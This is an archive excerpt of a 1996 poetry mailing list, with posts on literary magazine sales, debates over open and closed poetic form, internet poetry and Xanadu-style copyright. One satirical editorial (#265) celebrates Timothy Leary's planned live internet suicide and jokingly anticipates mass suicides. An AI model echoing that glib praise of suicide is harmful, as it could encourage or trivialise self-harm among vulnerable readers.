>Jennifer Ashton
>Johns Hopkins University
>[redacted]
>
>

~~~~~~

Emily Lloyd [redacted]
"Fist my mind in your hand"--Rukeyser

↑ Index

227. Emily Lloyd
sorry folks...
Mon 13 May 1996

about that mail meant for Jennifer Ashton & sent to everyone. I didn't see the "CC:." If I could demurely blush, I'd demurely blush. em

~~~~~~

Emily Lloyd [redacted]
"Fist my mind in your hand"--Rukeyser

↑ Index

228. Tod Thilleman
Re: Poetry New York Issue #8
Mon 13 May 1996

PNY #8 out now, featuring: textimages by Owen Smith, poetry by, Karen Alkalay-Gut, Alicia Askenase, Jane Augustine, Kenneth Bernard, Charles Bernstein, Charles Borkhuis, Joseph Brodsky, Dionisio Canas, Robert Carnavale, David Caskey, Alex Cigale, Billy Collins, Joseph Conte, Bernie Earley, George Economou, Ted Enslin, Stephen Ellis, Daniel Gabriel, Karl Gartung, Peter Haaren, Ronald Johnson, Richard Kostelanetz, Jerry Mazza, Robert McDowell, Hermine Meinhard, Mickey Moon, Inna Ososkov, Rochelle Owens, Pam Rehm, Elio Schneeman, Hugh Seidman, Daniela Serowinski, Lee Slonimsky, Miriam Solan, Adam Sorkin, Peter Spiro, Michael Stephens, Madeline Tiger, Robert Timm, Eugene Van Itterbeek, Mark Wallace, Jacqueline Waters, Bruce Weigl, Walter Whitehead, Alyce Wilson.

E-mail for issue ($7 upon receipt) [redacted]

May 18th, this Saturday, we will be having a reading featuring some of the contributors, at the new Knitting Factory, 74 Leonard Street, Manhattan. 2 to 5 o'clock. Feel free to drop by and chat (downstairs bar) we'll have back issues on sale trying to raise funds like they say for the cause!

↑ Index

229. Peter Quartermain
Sun&Moon sale
Mon 13 May 1996

Sorry, everyone. This is for Douglas Messerli but i can't get through backchannel.

yes please send me the three issues of Ribot at $4 each, plus p&p.

>At 10:04 AM 5/7/96 -0700, you wrote:
>>Sun & Moon Press announces some very special sales for
>>participants in the Poetry List:
>>
>>RIBOT 1, 2 and 3 (regularly $9.95 an issue, for $4.00
>>an issue)
>>
>>Ribot, edited by Paul Vangelisti, has become one of the
>>most significant new poetry magazines.
>>

>>Issue 1 contains new work by Dennis Phillips, Nathaniel
>>Tarn, Todd Baron, Martha Ronk, Norma Cole, Enzo Cucchi,
>>Amelia Rosselli, Amiri Baraka, Adriano Spatola, Gottlieb
>>Kasper, Douglas Messerli, and Luigi Ballerini
>>
>>$4.00
>>
>>
>>Issue 2 contains work by Sam Eisenstein, Mac Wellman, Amiri Baraka,
>>Frank Chin, Ray DiPalma, Nick Piombino, Dennis Phillips,
>>Robert Crosson, Adonis, Guy Bennett, Todd Baron, Michael
>>Clinton, Jerry Rothenbergh, Diane Ward, Martha Ronk, Leland
>>Hickman, Douglas Messerli, and George Herms
>>
>>$4.00
>>
>>Issue 3 has new writing by Ameila Rosselli, Bruce Andrews, Ray
>>DiPalma, Charles Bernstein, Felisberto Hernandez, Leslie
>>Scalapino, Norma Cole, Dennis Phillips, Rodrigo Toscano,
>>Will Alexander, Gottlieb Kasper, Nick Piombino, Cristina Peri
>>Rossi, Sheila Murphy, Spencer Selby, Marshall Reese,
>>Martha Ronk, Fernando Sorrentino, and many others.
>>
>>$4.00
>>
>>
>>Sun & Moon is also offering, for a special, limited time,
>>FROM THE OTHER SIDE OF THE CENTURY: A NEW AMERICAN POETRY
>>1960-1990
>>
>>very slightly damaged copies (corners slightly bent) for only
>>$5.00; the regular price is $29.95.
>>
>>All orders are the quoted price plus $1.00 shipping and handling.
>>
>>Please order from our website: http://www.sunmoon.com
>>
>>or through our E-mail page: [redacted]
>>
>>We will bill you.
>>Thanks, Douglas Messerli
>>

>>
>
+ + + +

232. Kurt Nimmo
poetry on the net
Tue 14 May 1996

> *"A group of Nobel Prize winning poets has declared that cyberspace is no place for serious verse, according to Reuters. Asked if the use of the Internet was one way to reverse the low popular appeal of poetry, the group said no. Poets Derek Walcott, Octovio paz, and Czeslaw Milosz were undaunted about the current dearth of readers. Walcott stated that "I'd rather have just one person who reads and feels my work deeply than hundreds of thousands who read it but don't really care about it." Milosz allowed that computers were useful incomposition, but was skeptical that lovers of serious poetry would look for it on the Internet.*

It would seem, unfortunately, that Milosz et al do not understand the medium. People who would have never cracked a book of poetry are now reading it on the internet. A traditionally printed magazine of poetry may be able to reach only a few hundred people -- but a webzine of the same can reach thousands. Granted, much of the poetry out there on the internet is BAD... but this wasn't the question. As for "serious" poetry -- who makes the determination?

If I recall correctly, Czeslaw Milosz is featured on a web site...

As for the "low popular appeal of poetry"... "To a poor reader," Laurence Perrine wrote in _Literature: Structure, Sound, and Sense_, "poetry will often seem dull and boring, a fancy way of writing something that could be said more simply. So might a colorblind man deny that there is such a thing as color." I'd have to say it is not a matter of "popular appeal," but rather the state of literacy in this nation. If the average person shuns reading a newspaper, can you expect him/her to read poetry?

Kurt Nimmo
==========
http://ic.net/~knimmo/png.htm

↑ Index

233. David Kellogg
Re: formal continuum/conspicuous repetition (fwd)
Tue 14 May 1996

> *Is it possible that regular forms are like the letters of the alphabet--you can do things with them that are new, but they themselves are basically simple tools, hard to improve on, Dr. Seuss's On Beyond Zebra notwithstanding? If this is true, getting that fact out into the open*

> *would certainly simplify the field of poetics at the formal end of the continuum.*

Just to contribute to this discussion a bit: I think the analogy to the alphabet *complicates* rather than simplfies formal discussions. I have two questions:

1) would a poem count for you as regular form if it used "conspicuous repetition" at the alphabetic level? (Say a poem is lineated around the principle of "three f's per line." Is the letter an "element of language" like the phoneme?

2) are new letters really that unlikely? A friend of mine is carving lithograph blocks into an alphabet for printing his poems. He's adding a few new letters for good measure (pardon the pun).

Cheers,
David
~~~
~~~

for a copyright fee
measured in nanodollars.
Everyone may read all documents
and there is no trace, no record
of the payment
and so no record of who has read what.
A document
such as 'The Waste Land'
that incorporates other texts
may do so
by linking to those other texts.
The copyright on samples
is maintained
in this system, the trademark of which is
'eternal-flaming-x'.
The fear
(if I understand this system
and there is a strong chance I do not)
was that someone
would (as domain speculators had,
buying up licenses to obviously profitable
names like bigmac or usa)
copyright the alphabet,
collecting microscopic royalties
on every text published
in perpetuity.
Bob Holman's alphabet presumes
a world in which the 'r'
has been claimed. The plural of being?
or the brand of Bob's ranch.
We all have letters we forego.
This letter goes out three days too soon.
--Jdn

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235. **Jordan Davis**

Deadline and Announcement Dates

Tue 14 May 1996

Complete application packages must be postmarked no later than May 17, 1996. All poetry fellowship applicants must send the required materials in one package to:

Information Management Division, Rm 815
Fellowships for Creative Writers: Poetry
National Endowment for the Arts
Nancy Hanks Center
1100 Pennsylvania Ave NW
Washington DC 20506-0001 (Overnight mail zip code: 20004)

Fellowships for Creative Writers are $20,000.

↑ Index

236. David Golumbia
Re: Deadline and Announcement Dates
Tue 14 May 1996

Hey Jordan, what are the required materials? I assume they include application forms & the like that it's too late to get before the deadline...

Jordan Davis wrote:
>
> Complete application packages must be postmarked no later than May 17, 1996.
> All poetry fellowship applicants must send the required materials in one
> package to:
>
> Information Management Division, Rm 815
> Fellowships for Creative Writers: Poetry
> National Endowment for the Arts
> Nancy Hanks Center
> 1100 Pennsylvania Ave NW
> Washington DC 20506-0001 (Overnight mail zip code: 20004)
>
> Fellowships for Creative Writers are $20,000.
>

--
[redacted]
David Golumbia

↑ Index

237. Aldon L. Nielsen
Re: sometimes a formal Finch comes
Tue 14 May 1996

The post Mark forwarded seemed simultaneously procrustean & too general -- given the defintions offered, the only work that wd. be recognized as a new form wd. seem to be a work that invented something new to repeat -- if I read this forward aright -- which wd. render all those delightful new forms dreamed up by our frioends the OULIPIANS old hat -- as they're always counting syllables, or letters, or stresses, or something else that somebody else had already counted????

or, to go really mainstream, that wd. make Hollander's thirteeners just the same old same old, just like MacLow after all!

Is there room for "footprintinsm" among these old forms?

↑ Index

238. Henry Gould
Re: sometimes a formal Finch comes
Tue 14 May 1996

On Tue, 14 May 1996 11:05:09 -0700 Aldon L. Nielsen said:
>The post Mark forwarded seemed simultaneously procrustean & too general
>-- given the defintions offered, the only work that wd. be recognized as
>a new form wd. seem to be a work that invented something new to repeat --
>if I read this forward aright -- which wd. render all those delightful
>new forms dreamed up by our frioends the OULIPIANS old hat -- as they're
>always counting syllables, or letters, or stresses, or something else
>that somebody else had already counted????

But why are some forms "traditional"? Is it worth making a distinction (I'm not saying a value judgement) between forms that are old - have been around - and 20th century forms in the "tradition of invention"? Does it have something to do with "occasion" - that forms like the sonnet began as chance developments out of various entropies of cultural demand - or occasions? The occasion of 20th century forms is often simply the occasion of their making - or the occasion of freedom from occasions (demands). Is there a difference between the multitude of whimsical wheeled contraptions and the major occasions for travel (car, bike, stroller)? In looking for new forms (if this is not a dead goose chase) as opposed to forms of "the new" should we open our eyes to what "occasion" might mean today in a social/cultural sense (it might be very different from past meanings). - Henry Gould

↑ Index

239. Tony Green
Re: formal continuum
Tue 14 May 1996

Good reply David Baratier. I like: "inaccuracies and reververations"

Tony Green,
e-mail: [redacted]

↑ Index

240. henry gould
Re: sometimes a formal Finch comes
Tue 14 May 1996

On Tue, 14 May 1996 14:52:14 -0500 Chris Stroffolino said:
> Of course, it might be worth remembering that the title is lifted
> from the first line of a Dickinson poem...
> AFTER GREAT PAIN, a formal FINCH comes....
> Is the Dickinson poem itself a "traditional" form?

Then we have to also remember that after great hors d'oeuvres an informal Stroffolino comes... but some poets are themselves the occasion for poetry, and form follows incarnation as swallow follows finch. - Henry Gould

↑ Index

241. Tony Green
Re: formal continuum/conspicuous repetition (fwd)
Tue 14 May 1996

I am surprised at the interest in "counting" as form. Form is plainly what anyone is or is not in, when they write--- on a good day, so to speak --- when things go right --- as with any other sport. Counting is no more a measure of success in writing than checking out the golden mean and other similar proportional divisions in a painting is a meausre of anything except the goofiness of the measurer.

Tony Green,
e-mail: [redacted]

↑ Index

242. **David Golumbia**
Re: sometimes a formal Finch comes
Tue 14 May 1996

According to my aviary sources, Dickinson's "finch" in fact turned out to be a relatively exotic sparrow (or do I have that backwards?) -- & somewhere I read that all of her poems can be recited in the meter & tune of "Train in Vain" (or maybe "El Paso" but only with Weir! singing).

--
[redacted]
David Golumbia

↑ Index

243. **Gwyn McVay**
Re: sometimes a formal Finch comes
Tue 14 May 1996

---

isn't it more like "after great form a painful feeling comes?"

↑ Index

244. **Chris Stroffolino**
Re: sometimes a formal Finch comes
Tue 14 May 1996

Of course, it might be worth remembering that the title is lifted from the first line of a Dickinson poem... AFTER GREAT PAIN, a formal FINCH comes.... Is the Dickinson poem itself a "traditional" form? After all, it is one of those Dickinson poems that does not really fit the "amazing grace"/"heartbreak hotel"/"yellow ribbon of texas"/ "gates of eden" pattern-- and so I am also interested in the co-optation of Dickinson as a formalist (which i distrust at least as much as the co-optation of Dickinson by the Grenier types---you know "the message is the handwriting"....) cs

↑ Index

245. **Daniel Bouchard**
LIFT chapbooks (announcement)
Tue 14 May 1996

Four chapbooks from LIFT in Somerville, MA have been recently published:

The Journals of The Man Who Kept Bees, by Michael Franco

At Last Round Up, by T.J. Anderson

Immediate Orgy and Audit, by Ange Mlinko

Timeserver, by Nick Lawrence

The books are individually designed, saddle-stiched, and printed on quality paper and cover stock. Cover images by Ben E. Watkins, Katha Seidman and Molly Torra. The set sells for $24.00 plus $3.00 for postage.

Make checks payable to Joseph Torra
and send your order to

lift
10 REAR Oxford Street
Somerville, MA 02143

↑ Index

246. David Kellogg
Poetic Briefs
Tue 14 May 1996

This is for Jeff Hansen I think.

I just got PB#20, thanks Elizabeth Burns & Jeff.

Jeff, How much are subscriptions again? There was no information on it in the issue; also, I wonder if I could get a copy of PB#18, on Clark Coolidge, as well as descriptions of other back issues if available.

Thanks.

Cheers,
David
~~~
~~~

247. Emily Lloyd
Re: sometimes a formal Finch comes
Tue 14 May 1996

At 02:52 PM 5/14/96 -0500, Chris Stroffolino wrote:
>After all, it is one of those Dickinson poems
that does not really
>fit the "amazing grace"/"heartbreak hotel"
/"yellow ribbon of texas"/ <------ribbon is a rose is
a
...a si esor a si esor

No, Gwyn; it's After Great Pain, a Semi-formal Dress...

I don't think anyone's tackled Maria's raised issue: what's at stake with the form question? As one who's (voluntarily) written both quertzblatz stuff & heroic couplets in the past year, I'm not sure I can answer...I haven't <gag> "found my [one] voice" as They so deeply encourage--I'm not even out looking--but sowing my wild forms (or nonforms, as Annie has it), & yeah, interested in more talk of stakes, emily

~~~
~~~

"form" (from outside the process, as a critic, someone chomping on Plato's dream-bit, etc.) Quotes around "counting" just pun-fun.

But I'm curious--given your definition of form as something you're in or not (and you're always in fine form, Tony)--when would you know or say or guess someone or something is "in form"? Let's say--since we're almost talking about it--something a number of people have agreed to call a poem?

As for what's at stake (not your question) more questions from me: Is there really anyone out there who would not like to see a proliferation of forms? Why would one want to limit or legislate forms? And someone once wrote that "Inflexible standardization is the arteriosclerosis of language." Who would argue with that in this for(u)m? But that's not what Annie Finch is arguing anyway (is it Annie?). I take it that she's saying something closer to what Nathaniel Tarn once wrote (in "The Issue of 'New Forms'"): "There are a limited number of topics around which our critical arguments revolve over and over again--as if they were stuck in some monstrous groove. One of them is the question of new forms--as if we were never to realize that, in essence, these forms were extraordinarily limited. . ." [He then goes on to talk of "content.' No doubt many would take issue with Tarn's essay.] Anyway, that's what I took to be "at stake" in Annie Finch's remarks (I may be wrong.) To respond more directly to Maria D, I'd guess that what's most often "at stake" in these debates about "form" is "the politics of poetic form"--which is of course a very big topic I ain't agonna get into here.

Or, thinking of George B and Sam B, one might just ask how does one go on? Or perhaps it's just how or why I go on right now when the Bulls and Knicks have already tipped off?

Dribble dribble,
keith

↑ Index

250. Gwyn McVay
*Alice Notley's _The Descent of Alette_*
Tue 14 May 1996

"Everyone must" "rush out" "immediately & get" "for themselves" "a copy of Alice Notley's" "_The Descent of Alette_" "not only because"
["it pertains" "to these discussions" "we have been having" "of form & not-form"
["but because "it's the real thing" "no apologies" "to Coca-Cola" "and you need it"

Gwyn

↑ Index

251. Tom Beard
quertzblatz
Tue 14 May 1996

Pardon my ignorance, but...

I've seen the word "quertzblatz" (?sp) used on this list a few times, and can guess from context that it means something similar to "experimental", but I can't find a definition anywhere. Can anyone help with meaning, etymology &c?

Thanks,
Tom Beard.

↑ Index

252. Tony Green
Re: formal continuum/conspicuous repetition (fwd)
Tue 14 May 1996

---

in form? in the work worth publishing (from the writer's point of view): off form, when the work won't go right. I'm not interested in conventional structures -- that's the term -- so much as genres of discourse, occasions and audiences. "Form" is in my mind more a word for pre-given structures, hence the tendency for formalists to want to count things in them, to make sure that they are all there and in the right order. Isn't the problem of pre-given forms to do with the way that any precipitation of sense is apt to overflow or negate such things of necessity. I'm hooked on the "never more than" of the Creeley sentence...never mjore than an exdtension of content, in the sense of wanting to say something that takes form as it goes. Form, then, is a process of forming, a verb rather than a noun -- hence my sense of form as being in or on form as one writes. But this is familiar to many on this list I'm sure as Olsonian or Creelesque. Isn't the fifties poetics of Olson set up much in opposition to a fomalism a correctness of conventional verse patterns or structures? Tell me if I'm way off track..

Tony Green,
e-mail: [redacted]

↑ Index

253. Sam Pereira
The Death Of Larry Levis
Tue 14 May 1996

Let me add my distress at this news. Larry was a dear friend...we shared Fresno and Iowa City along with lots of good people. Now, we lose another one. I have added a WAV file of Larry reading from a 1984 Fresno appearance to my WEB page. I hope his friends and the lovers of his work will find it

calming. Larry would be amused by all the attention, I think, but he was one of the good guys.

The address is: http://home.aol.com/LITSAM

The sound file is at the very end of the page. Let me know what you think.

Sam

↑ Index

254. Eryque Gleason
Re: quertzblatz
Tue 14 May 1996

t.b. (which does not stand for teburculosis and now that i write this i'm sorry i even brought it up but it was fun while it lasted) asked:

> *I've seen the word "quertzblatz" (?sp) used on this list a few times, and can guess from context that it means something similar to "experimental", but I can't find a definition anywhere. Can anyone help with meaning, etymology &c?*

mayhaps gwyn would like to explain quertzblatz some more, i think she coined it, or at least introduced it to the list, and i think jordan uses it more than anyone else, so one might hope he know's what he's saying :-).

one of the things i like about the word is that it doesn't feel like it's really defined yet. i take it's meaning to be something just a little left of 'experimental', less stale. and like i've said before, it's got a q in it, can't beat a good word with a q in it. extra points in scrabble.

> *Pardon my ignorance, but...*

no buts about it, bless everyone's ignorance.

back to the *old* keyboard. (paperwork to be typed)

eryque

↑ Index

255. Jordan Davis
Re: querzblatz
Tue 14 May 1996

My dictionary, Eryque, supplies only one t for querzblatz. It cites Gwyn McVay. As I've said before, though, I don't really know the meanings of these words that I seem to need to keep saying. All I can tell from the contexts in which I've used this word is that it seems to be connected to the procedures of vast avant-gardes without having noisome parameanings.

Correction: this seems to be somebody else's dictionary.

On a different topic: can somebody tell me what the point of all this poetry writing is? I remember hearing something about 'the love of the good' and I wonder if anybody else heard this thing more clearly, and could run an ideology check on it for me.

Thanks!
Jordan

PS Chris S uses querzblatz more often than I do.

↑ Index

256. **Diane Marie Ward**
Re: poetry on the net
Wed 15 May 1996

On Tue, 14 May 1996, Kurt Nimmo wrote:
> It would seem, unfortunately, that Milosz et al do not understand
> the medium. People who would have never cracked a book of poetry are
> now reading it on the internet. A traditionally printed magazine of

Amen! This posting coincides with a very interesting meeting which I attended recently where I witnessed those who believed in the viability of the Internet as a research tool, a method of preserving and disseminating information trying to coerce/convince/assuage the hesitations of others to make a concerted step to move forward and embrace the Internet in a Library/Research atmosphere (and I will add some of the fears were justifiable and raised good questions which will need good solutions) I had myself shunned computers a la Kurt Vonnegut - and saw DHLawrence's wisdom when he wrote in Studies in Classic American Literature "the machine is the greater neuter...in the end it emasculates us all" -- But there is undeniably an impact being made through the progressive spirit of those who embrace the Internet as a tool to explore/instruct/ and enhance the acquisition of knowledge and I whole-heartedly embrace these positive aspects: the Internet has so many advantages for poets - 1)one is not subject to a publisher- one is free to explore/experiment 2) even if the poetry is not refined/honed, the poet will be exposed to more poetry through his/her interest in the subject by doing a simple Net search - thus almost self-teaching, or at least refining taste by being introduced to new styles and perhaps a different approach. 3) Poetry may be in popular decline now - but the younger generation which is being raised in this paradgim will appreciate creativity & the freedom of the Net and perhaps poetry will see a resurgence and 4) small press publishers indie book sellers will benefit in the long run because people will develop a taste for certain authors and may seek out to own a copy. 5)New marriages of poetry and art and sound will occur, and the public will be exposed to them rather than waiting for PBS to produce a series ; 6.) the hypertextual poem has

been born opeing up new routes of reading, different levels of meaning - for example Ken Sherwood and Alexis Kirke and others are experimenting with hypertextual poems (take a look at the author section of the EPC) -- 7)In addition to that Loss Glazier has crafted a unique Poetry resource for poets/researchers etc -- the exposure poets receive (free to both poet and audience -- plus the audience is global) is remarkable and cannot be duplicated in print.

Nobel Prize winners may question its viability, but we should not allow that to shadow any of the progress being made -- There will always be a struggle between those whose arms are folded and those who run to embrace. (Personally I still prefer to read a book - but the value found on a computer screen connected to the world is all too seductive.)

> If I recall correctly, Czeslaw Milosz is featured on a web site...
 It is at http://sunsite.unc.edu/dykki/poetry/milosz/ -- it is a very
impressive site complete with audio text of him reading in English & Polish.

Diane M. Ward
[redacted]
State University of New York at Buffalo

THE AESTHETE'S LIST : http://www.acsu.buffalo.edu/~dward/

"I dreamt I dwelt in marble halls, and woke to found it true,
 I wasn't meant for an age like this,
 Was Smith, Was Jones, Were you?" -- George Orwell.

↑ Index

257. Rod Smith
Re: sometimes a formal Finch comes
Wed 15 May 1996

Re "what's at stake" in the formal question. I tend to think Hejinian's "The Rejection of Closure" a place to start. Rasula's _Wax Museum_ pretty good for recent history, though I think Berrigan, Mayer, etc. deserve more than footnote. Cage's _Silence_ also something to be known. I tend to think that the terms open & closed, tho often used cavalierly w/ regard to form, do, in the end, have descriptive meaning. Personally, I prefer the open.

Gwyn mentioned Notley-- heard her read at St. Mark's last week, from _Alette_ and other stuff. Very engaging. Must say I was disappointed in her essay in _Disembodied Poetics_ -- equating "literary theory" with "hipness." & this-- ". . . poetry has become more & more intellectual & specialized, has become words." This is essentially an attack upon & dismissal of most of what I consider the most interesting work done since the early seventies from a poet I consider

extremely complex and interesting. Her argument is essentially for a return to the allegorical as a source. Which I don't dismiss-- it can work, obvious. Read Blake. Joris & Rothenberg's choice of Blake to open their anthology is relevant here I think. It's a matter of the pressure of attention brought to the process of composition-- Blake's powerfully allegorical but madly satisfyingly OPEN as well, I believe. A pretty hip lit theorist in his way.

Two arguments for open form:

"Truth is a contrivance based on opinion which is always learned." --Kathy Acker
&
"Both belief and denial throw existence into question."
  --Carla Harryman

Thing is, it's open, form, whether you think it is or not. So, work that knows that, starts with that, I think, has a leg up. O'Hara, talking relative to the Beat interest in jazz as source for the work sd he preferred painting-- "painting is static and therefore tragic." But I think an interesting counter to that comes from Picasso (tho Duchamp sd similar)-- that "A painting goes on changing according to whoever is looking at it." That's the open, or part of it, I'm intending here. Duchamp said: "A work of art is always completed by the observer."

--Rod Smith

↑ Index

258. **Rod Smith**
Re: Alice Notley's _The Descent of Alette_
Wed 15 May 1996

Re _Descent of Alette_, which is now available from Penguin for $14.95. _Descent of Alette_ is also available in a book called _The Scarlet Cabinet_ which includes two other Notley books in their entirety as well as three books by Douglas Oliver. _The Scarlet Cabinet_ is also $14.95. This is similar to the Barnes & Noble versus independent argument. Call SPD at [redacted] to order. Might I suggest picking up _Alice Ordered Me to Be Made_ or _At Night the States_ or the Talisman _Selected_ while you're at it.

Rod

↑ Index

259. **Eryque Gleason**
Re: querzblatz
Wed 15 May 1996

> *and I wonder if anybody else heard this thing more clearly, and could run an ideology check on it for me.*

sorry, not me. i'm shoulder deep in final papers (wilt chamberlain's sholders mind you) and M$ word doesn't have that function built in. though i'm sure if we asked bill gates he'd say that we just hadn't found all the features yet.

eryque

↑ Index

260. **Thomas Bell**
Re: sometimes a formal Finch comes
Wed 15 May 1996

this may come from sheer blissful ignorance but im having trouble distinguishing form from technique in this discussion, especially in light of tony greens comments. one can have fine technique and not be "in form". can one follow a form (?closed) with no technique? are form and technique identical, similar, or mutually exclusive?

tom bell

↑ Index

261. **Thomas Bell**
Re: sometimes a formal Finch comes
Wed 15 May 1996

On Wed, 15 May 1996, Rod Smith wrote:

> *Gwyn mentioned Notley-- heard her read at St. Mark's last week, from _Alette_ and other stuff. Very engaging.*
> *Must say I was disappointed in her essay in _Disembodied Poetics_ -- equating "literary theory" with "hipness."*
> *& this-- ". . . poetry has become more & more intellectual & specialized, has become words." This is essentially an attack upon & dismissal of most of what I consider the most interesting work done since the early seventies from a*

Clive Matson makes essentially the same point in _exquiste corse_ #57 "The sterile reading of Duncan's poetry by many of his peers displays the limits of literary culture. People may be so deadened that they cannot feel." Is closed form a barrier against feeling? Is open form a way of avoiding feeling? While this may seem oblique to the topic at hand, Ithink it's quite relevant and significant, as Rod goes on to note (from my reading of his post):

> of attention brought to the process of composition-- Blake's powerfully
> allegorical but madly satisfyingly OPEN as well, I believe. A pretty hip lit
> theorist in his way.
>
> Two arguments for open form:
>
> "Truth is a contrivance based on opinion which is always learned." --Kathy
> Acker
> &
> "Both belief and denial throw existence into question."
> --Carla Harryman
>
> --Rod Smith
>
tom bell

↑ Index

262. John Whiting
Re: sometimes a formal Finch comes
Wed 15 May 1996

John Cage is inevitably mentioned. He once said to me that after he had heard any piece of his more than once, it began to sound melodic! Eric Mottram's response when I told him this was that the human brain is inherently incapable of producing something which is formless. Which is why Cage didn't like improvisation; he said it was too predictable.

John Whiting
Diatribal Press
London

↑ Index

263. Henry Gould
Re: formal continuum/conspicuous repetition (fwd)
Wed 15 May 1996

Re: Tony Green's post on counting - you'd be surprised how much mathematics there is in tennis (and Mondrian) (and Stravinsky) (and...) - Henry Gould

↑ Index

264. Henry Gould
Re: sometimes a formal Finch comes
Wed 15 May 1996

On Wed, 15 May 1996 07:05:39 EDT John Whiting said:
>John Cage is inevitably mentioned. He once said to me that after
>he had heard any piece of his more than once, it began to sound
>melodic! Eric Mottram's response when I told him this was that
>the human brain is inherently incapable of producing something
>which is formless. Which is why Cage didn't like improvisation;
>he said it was too predictable.

This is what I was getting at when I mentioned form as increasing possibilities for chance developments. Hey I got an idea - closed wear red shirts, open wear blue. then we'll know what's at stake and who's the good guys. Did anybody read what I wrote about form-occasions, or a trichotomy beyond the form/content binary politico-emotiono-football game, or form as entropy (rather than "funeral")? Do we have to trumpet the same old camps? Anybody home? - Henry Gould

↑ Index

265. FUNKHOUSER CHRISTOPH
ECchair.html
Wed 15 May 1996

[IMAGE]

Timothy Leary, who has terminal cancer, is going to kill himself "live" on the Internet. How do we feel about it here at Exquisite Corpse? First, we are going to declare him the first Exquisite Corpse of the Millenium. Secondly, we commend him for inventing the new art of Public Self-Snuff, a performance art long anticipated. Thirdly, we look forward to the Internet Public Self-Snuff of thousands of lesser luminaries, to be followed surely by mass suicides. The Avantgarde, as we know, always ends up at Wal-Mart sooner or later. Fourthly, we congratulate ourselves on having been the first to propose the idea of the Net as an Afterlife. Now, we will not only have cemeteries in cyber-space but actual "live" suicides. We also proposed that the Net Afterlife is nature's way of thinning the affluent (who don't die fast enough) with the help of their own toys. (The poor will always die like they have, from poverty, diseases and anonymity). Fifthly, we salute Tim for taking the spotlight off Kevorkian who now becomes just an old-fashioned audience/assistant: Tim turns all of us into Kevorkians, who can voyeurize and abet. Sixthly, we

remeber reading Leary's Psychedelic Prayers in a heightened state and finding them pretty humorous.We will certainly miss his Irish charm and verve. Surely he will make a splendid saint in the Great Bardo. Go, Tim.

Check out what's inside Corpse #56.

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266. **Gwyn McVay**
Re: quertzblatz
Wed 15 May 1996

Tom Beard,

"Querzblatz" (although "quertz-" is an acceptable variant spelling) has absolutely no meaning nor etymology whatsoever. I made it up. It is supposed to accomodate the poetries and poetics that words like "experimental," "avant-garde," "language," "innovative" (although that last may come closest) don't cover; I was tired of not having a word. It has Q and Z in it because those are the letters not on the telephone dial, and they sound cool.

Gwyn McVay

↑ Index

267. **Bill Luoma**
Ideology Check
Wed 15 May 1996

Jordan you wrote:

> *can somebody tell me what the point of all this*
> *poetry writing is? I remember hearing something about 'the love of the*
> *good' and I wonder if anybody else heard this thing more clearly, and could*
> *run an ideology check on it for me.*

I think creely had the take:
"the good" that darkness surrounds us
and what can we do against it.
Write poems for your friends to help keep them alive
while you try to watch out where you're going
reading the poems your friends write for you.
Dharmok and Jilad at Tenagra.
Ginsberg and Kerouac at the Sunflower.

Kevin & Dug & Lisa in Nogo.
I think that's the good, the bad and the lovely of it.

Bill

ps you're friends die anyway.

↑ Index

268. Jordan Davis
Making fun of their names again
Wed 15 May 1996

Rod--
Interesting take on Notley's arg--
which I took to be 'sympathy for Tom Clark'--
tho to suggest--
that one read the already-on-the-threshold-of-readability 'Alette'--
in the unwieldy-past-the-bounds-of-post-medieval-time _Scarlet Cabinet_--
is to advise people NOT to read it, near as I can tell--
And I'm mighty non-plussed by the turn towards open/closed discussions--
Wasn't id Davit Shapiro who said--
'poetry is not open or closed, poetry is a well'--
as in 'well,'--
and Henry--
there's counting in Mondrian but it's fibonacci counting--
or gauss counting--
or duke ellington counting--
which is a different count--three and two--
from ah-one-two-three--
Taggart's Bryars essay bugged me because I AGREED with it--
and didn't like being coopted to a GREATER spiritualism--
what is at stake in SPIRITUALISM--
that you have to propose--
in public notes--
a GREATER spiritualism--
and what is that recourse to authority, while I'm at it--
that quoting recent writers as scripture--
Jd

↑ Index

269. Rod Smith
Re: a formal flinch
Wed 15 May 1996

DB wrote,
>> Rod: If I remember correctly only a few sections of "Descent" are in
>> the _Scarlet Cabinet_ not all.

I know the _Descent of Alette_ in _The Scarlet Cabinet_
begins & ends the same way the Pngn edition does. I'll check pg count when I get a chance, my impression is it's the same.

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270. John Whiting
Re: quertzblatz
Wed 15 May 1996

Gwyn McVay says:

". . . quertzblatz . . . has absolutely no meaning . . ."

What? I was just writing an essay explaining that it was an expletive first used by a German philologist learning to touch- type. You have no right to say it is meaningless; it no longer belongs to you. As soon as a sound is uttered or an arrangement of letters is placed upon a page and others assign it a sense, it goes straight into God's Dictionary. Is "chortle" nonsense just because Lewis Caroll so intended? If you want to invent a meaningless word, best keep it to yourself.

John Whiting
Diatribal Press
London

↑ Index

271. John Lavagnino
Re: continuum (ht_lit & poetics coincide in xanadu)
Wed 15 May 1996

Jordan Davis writes...

| The copyrighted alphabet
| although apparently a foolish issue
| becomes serious
| when transclusion
| or the enforcement of copyright on the internet
| is discussed.

| Transclusion is a form of 'sideways publishing'
| in which documents are maintained permanently
| in a sort of electronic alexandria
| or 'xanadu' as its inventor Ted Nelson calls it.
| Once published
| a bit of text
| may be read by anyone
| for a copyright fee
| measured in nanodollars. ...

| The fear
| (if I understand this system
| and there is a strong chance I do not)
| was that someone
| would (as domain speculators had,
| buying up licenses to obviously profitable
| names like bigmac or usa)
| copyright the alphabet,
| collecting microscopic royalties
| on every text published
| in perpetuity. ...

There's an aspect of Nelson's scheme (as he describes it in his wonderful book, Literary Machines) that is of great importance but doesn't get pushed enough these days, and which works against this phenomenon. Copyright owners today get control over who can use intellectual property, and the right to demand money for any use at rates that they set themselves in any way they please. In the Xanadu system, when you publish something, you have no control over its use, and although you get paid for any use you can't set the rates. Such a system would fix the major problem for anyone trying to publish something electronically today that draws on existing materials: the problem of getting permissions from a raft of copyright owners, and possibly having to pay absurdly high rates. The technical problems with electronic publishing are trivial by comparison. In the Xanadu system you wouldn't ask for permission, and you'd know right away what you'd be charged; someone like Bill Gates might buy up rights to all the querzblatz poetry in the Xanadu system, but it wouldn't affect its availability or the cost of reading it.

The copyrighted alphabet is still a real issue that users of any Xanadu system would have to work out: Nelson gives an example of a new text within the system that would consist of an old one with the modification of a single word, so the idea that you could routinely claim rights to quite small bits of text does seem essential to the system. I also don't see anything in Literary Machines about the term of ownership---it does appear to be perpetual, which is a

problem. (The book doesn't ever suggest that you could sell or transfer the rights to your texts in any way, and the system it describes is based on private contracts rather than copyright, but some way of transferring rights is probably inevitable.) Not that things appear to be heading in a xanalogical direction, in any case...

John Lavagnino

↑ Index

272. David Baratier
a formal flinch
Wed 15 May 1996

